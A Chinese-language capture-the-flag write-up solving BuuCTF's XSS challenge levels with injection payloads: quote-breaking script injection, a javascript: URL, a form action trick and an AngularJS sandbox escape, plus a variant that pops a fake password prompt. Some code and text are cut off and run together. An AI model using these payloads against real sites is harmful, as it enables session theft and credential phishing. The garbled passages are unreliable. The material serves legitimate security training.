BuuCTF[第二章 web进阶]XSS闯关 |
您所在的位置:网站首页 › password第六关答案 › BuuCTF[第二章 web进阶]XSS闯关 |
** [第二章 web进阶]XSS闯关** 一、解题思路1.一来看了一下题目的说明 我们需要执行alert函数 那就开启闯关模式!!! 1.第一关,无任何过滤一看这个URL就很奇怪没直接上手,二话没说成功下一关 http://491c2e5e-9e61-408a-b82d-6615548d150b.node4.buuoj.cn/level1?username=alert('xss')通过观察url,我惊奇的发现闯关的关卡,是由level1,level2…,我一路向北直到level7,得到flag 我们关键在学习XSS,上述方法有点投机取巧了,进入正题,一关一关的闯 2.第二关,简单闭合绕过重新从第二关开始,想使用第一关的套路,直接被没有回显 http://491c2e5e-9e61-408a-b82d-6615548d150b.node4.buuoj.cn/level2?username=alert('xss')直接查看页面源代码 发现使用了js所编写的一个过滤,username被escape加密 if(location.search == ""){ location.search = "?username=xss" } var username = 'xss'; document.getElementById('ccc').innerHTML= "Welcome " + escape(username);我所使用的绕过姿势是前面 var username = 'xss'; //使用';结束前面的语句,后面加上函数alert(1);使用'1闭合后面的单引号,当然你也可以使用将其注释(//)使用’;结束前面的语句,后面加上函数alert(1);使用’1闭合后面的单引号,当然你也可以使用将其注释(//) http://65c057a6-36f6-4ed7-90b8-1c25016edfec.node4.buuoj.cn/level2?username=1';alert(1);'1 3.第三关,单引号转义还是先测试 alert(1)发现不可以 查看页面源代码 好像也没发现什么问题,那么试试第二关的方法 ';alert(1);'1查看一下源代码,发现单引号(’)被转义 if(location.search == ""){ location.search = "?username=xss" } var username = '\';alert(1);'1'; document.getElementById('ccc').innerHTML= "Welcome " + username;发现多了一个反斜杠+单引号(’),那么就相当于’'构成了闭合,那么我们的构造可以为: '';alert(1);'1 4.第四关,伪链接进入第四关,就有点懵了,一直在死循环,查看页面源代码 伪链接 javascript:alert(1),浏览器会把javascript后面的内容当做代码执行,直接在当前页面执行。代码中接收jumpUrl作为跳转url,构造如下所示: jumpUrl=javascript:alert(1) 5.第五关,getQueryVariable()函数绕过进入到第五关 是一个表单查询,无论在输入框中输入,任意的东西,他都会回显报错 查看页面源代码 分析代码如下: if(getQueryVariable('autosubmit') !== false){ //如果出错就会执行getQueryVariable函数 var autoForm = document.getElementById('autoForm'); autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action'); //变量action执行getQueryVariable函数 autoForm.submit(); }else{ } function getQueryVariable(variable) { var query = window.location.search.substring(1); var vars = query.split("&"); for (var i=0;i{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}进入到下一关,直接得到flag 二、知识点整理 1.定义跨站脚本(Cross_Site Scripting,简称为XSS或跨站脚本或跨站脚本攻击)是一种针对网站应用程序的安全漏洞攻击技术,是代码注入的一种。它允许恶意用户将代码注入网页,其他用户浏览网页时就会受到影响。恶意用户利用XSS代码攻击成功后,可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等内容。 2.原理HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号({'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}} JavaScript函数替换“alert(1)”,例如,我们可以使用以下payload创建提示,要求输入密码: {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };prompt("Please enter your password:")//');}}参考链接:https://blog.csdn.net/qq_51558360/article/details/114378503 参考链接:https://xz.aliyun.com/t/4638 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |